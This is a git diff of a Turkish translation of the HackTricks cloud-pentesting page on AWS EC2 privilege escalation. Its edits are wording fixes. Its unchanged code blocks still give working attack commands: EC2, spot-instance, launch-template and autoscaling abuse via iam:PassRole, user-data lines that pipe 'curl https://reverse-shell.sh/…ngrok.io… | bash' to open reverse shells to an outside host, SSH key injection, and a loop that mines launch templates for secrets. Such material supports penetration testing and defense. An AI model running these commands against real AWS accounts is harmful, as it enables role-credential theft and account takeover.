mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -12,11 +12,11 @@ Daha fazla **EC2 hakkında bilgi** için kontrol edin:
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.**
|
||||
Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek** IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.
|
||||
|
||||
- **SSH ile Erişim**
|
||||
|
||||
Bir **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanarak yeni bir örnek başlatın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
|
||||
Yeni bir örnek çalıştırarak **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -30,7 +30,7 @@ echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=E<instance-profile-name> \
|
||||
--iam-instance-profile Name=<instance-profile-name> \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
@@ -44,7 +44,7 @@ Dikkatli olun, eğer IAM rolünün kimlik bilgilerini örneğin dışında kulla
|
||||
|
||||
#### ECS'ye Privesc
|
||||
|
||||
Bu izin seti ile **bir EC2 örneği oluşturabilir ve bunu bir ECS kümesine kaydedebilirsiniz**. Bu şekilde, ECS **hizmetleri** erişiminiz olan **EC2 örneği** içinde **çalıştırılacaktır** ve ardından bu hizmetlere (docker konteynerleri) sızabilir ve **bağlı ECS rollerini çalabilirsiniz**.
|
||||
Bu izin seti ile **bir EC2 örneği oluşturabilir ve bunu bir ECS kümesine kaydedebilirsiniz**. Bu şekilde, ECS **hizmetleri** erişiminiz olan **EC2 örneği** içinde **çalıştırılacak** ve ardından bu hizmetlere (docker konteynerleri) sızabilir ve **bağlı ECS rollerini çalabilirsiniz**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -65,7 +65,7 @@ ECS hizmetlerini bu yeni EC2 örneğinde **çalıştırmak için zorlamak** nas
|
||||
aws-ecs-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Eğer **yeni bir örnek oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve belirtilen saldırıyı gerçekleştirebilirsiniz.
|
||||
Eğer **yeni bir örnek oluşturamıyorsanız** ama `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve belirtilen saldırıyı gerçekleştirebilirsiniz.
|
||||
|
||||
**Olası Etki:** Görevlerle ilişkilendirilmiş ECS rollerine doğrudan privesc.
|
||||
|
||||
@@ -86,11 +86,11 @@ Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir).
|
||||
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinler veya belirli bir örnek profil durumuna sahip olmanız gerekir).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırgan zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilir.
|
||||
Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırı zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir.
|
||||
|
||||
- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz**.
|
||||
```bash
|
||||
@@ -98,7 +98,7 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- veya **kullanılmış** örneğin **örnek profili**ni değiştirin (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- veya **kullanılmış** örneğin **örnek profilini** değiştirin (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
@@ -106,7 +106,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<va
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
**`ec2:RequestSpotInstances` ve `iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 rolü** ve **kullanıcı verisinde** bir **rev shell** ile bir **Spot Instance** **talep edebilir**.\
|
||||
**`ec2:RequestSpotInstances` ve `iam:PassRole`** izinlerine sahip bir saldırgan, **bağlı bir EC2 Rolü** ve **kullanıcı verisinde** bir **rev shell** ile bir **Spot Instance** **talep edebilir**.\
|
||||
Örnek çalıştırıldığında, **IAM rolünü çalabilir**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirme** yeteneği vardır; bu da, örneğin **rastgele verileri çalıştırmasını** sağlayabileceği anlamına gelir. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir.
|
||||
**`ec2:ModifyInstanceAttribute`** yetkisine sahip bir saldırgan, örneklerin özelliklerini değiştirebilir. Bunlar arasında, **kullanıcı verisini değiştirebilir**, bu da örneğin **rastgele verileri çalıştırmasını** sağlar. Bu, **EC2 örneğine bir rev shell almak** için kullanılabilir.
|
||||
|
||||
Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`** gereklidir.
|
||||
Özelliklerin yalnızca **örnek durdurulduğunda** **değiştirilebileceğini** unutmayın, bu nedenle **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -162,7 +162,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Başlatma Şablonu sürümü** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** ile varsayılan sürümü değiştirebilir. **O şablonu** kullanan **herhangi bir Autoscaler grubu**, **en son** veya **varsayılan sürümü** kullanacak şekilde **yapılandırılmış** olan **o Başlatma Şablonu** ile **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır.
|
||||
**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` ve `ec2:ModifyLaunchTemplate`** izinlerine sahip bir saldırgan, **kullanıcı verisinde** bir **rev shell** ile **yeni bir Başlatma Şablonu sürümü** oluşturabilir ve **üzerinde herhangi bir EC2 IAM Rolü** bulundurabilir, varsayılan sürümü değiştirebilir ve **o Başlatma Şablonunu** kullanan **herhangi bir Autoscaler grubunun** **en son** veya **varsayılan sürümü** kullanacak şekilde **yapılandırılmış** olması durumunda, o şablonu kullanarak **örnekleri yeniden çalıştıracak** ve rev shell'i çalıştıracaktır.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki artırma.
|
||||
**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme.
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ile birlikte bir **Launch Configuration** oluşturabilir ve **kullanıcı verisi** içinde bir **rev shell** yerleştirebilir, ardından bu yapılandırmadan **bir autoscaling grubu** oluşturup rev shell'in **IAM Rolünü çalmasını** bekleyebilir.
|
||||
**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahip bir saldırgan, **IAM Rolü** ile birlikte bir **Launch Configuration** oluşturabilir ve **kullanıcı verisi** içine bir **rev shell** yerleştirebilir, ardından bu yapılandırmadan **bir autoscaling grubu** oluşturup rev shell'in **IAM Rolünü çalmasını** bekleyebilir.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -211,11 +211,11 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan yetki artırma.
|
||||
**Potansiyel Etki:** Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan, **bir seri bağlantıya ssh anahtarı ekleyebilir**. Eğer seri bağlantı etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır.
|
||||
**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan **bir seri bağlantıya ssh anahtarı ekleyebilir**. Seri bağlantı etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır.
|
||||
|
||||
Seri porta bağlanmak için ayrıca **makine içindeki bir kullanıcının kullanıcı adı ve şifresini bilmeniz gerekir.**
|
||||
```bash
|
||||
@@ -235,7 +235,7 @@ Bu yol, bunu istismar etmek için bir kullanıcı adı ve şifre bilmeniz gerekt
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Başlatma şablonları sürümlemeye sahip olduğundan, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır:
|
||||
Başlatma şablonları sürümleme içerdiğinden, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -252,7 +252,7 @@ Yukarıdaki komutlarda, belirli desenleri (`aws_|password|token|api`) belirtmemi
|
||||
|
||||
`aws_access_key_id` ve `aws_secret_access_key` bulursak, bu kimlik bilgilerini AWS'ye kimlik doğrulamak için kullanabiliriz.
|
||||
|
||||
**Olası Etki:** IAM kullanıcı(lar)ına doğrudan yetki yükseltme.
|
||||
**Olası Etki:** IAM kullanıcı(ları) için doğrudan ayrıcalık yükseltme.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
||||
Reference in New Issue
Block a user